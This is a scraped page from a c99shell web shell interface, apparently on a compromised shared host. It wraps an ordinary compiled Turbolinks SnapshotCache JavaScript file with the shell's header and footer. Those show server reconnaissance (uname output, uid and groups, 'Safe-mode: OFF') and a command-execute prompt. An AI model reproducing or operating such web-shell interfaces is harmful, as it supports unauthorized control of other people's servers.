Software: Apache. PHP/8.3.27 uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364) Safe-mode: OFF (not secure) /usr/share/nodejs/turbolinks/src/turbolinks/ drwxr-xr-x | |
| Viewing file: Select action/file-type: // Generated by CoffeeScript 1.12.8
(function() {
Turbolinks.SnapshotCache = (function() {
var keyForLocation;
function SnapshotCache(size) {
this.size = size;
this.keys = [];
this.snapshots = {};
}
SnapshotCache.prototype.has = function(location) {
var key;
key = keyForLocation(location);
return key in this.snapshots;
};
SnapshotCache.prototype.get = function(location) {
var snapshot;
if (!this.has(location)) {
return;
}
snapshot = this.read(location);
this.touch(location);
return snapshot;
};
SnapshotCache.prototype.put = function(location, snapshot) {
this.write(location, snapshot);
this.touch(location);
return snapshot;
};
SnapshotCache.prototype.read = function(location) {
var key;
key = keyForLocation(location);
return this.snapshots[key];
};
SnapshotCache.prototype.write = function(location, snapshot) {
var key;
key = keyForLocation(location);
return this.snapshots[key] = snapshot;
};
SnapshotCache.prototype.touch = function(location) {
var index, key;
key = keyForLocation(location);
index = this.keys.indexOf(key);
if (index > -1) {
this.keys.splice(index, 1);
}
this.keys.unshift(key);
return this.trim();
};
SnapshotCache.prototype.trim = function() {
var i, key, len, ref, results;
ref = this.keys.splice(this.size);
results = [];
for (i = 0, len = ref.length; i < len; i++) {
key = ref[i];
results.push(delete this.snapshots[key]);
}
return results;
};
keyForLocation = function(location) {
return Turbolinks.Location.wrap(location).toCacheKey();
};
return SnapshotCache;
})();
}).call(this);
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0107 ]-- |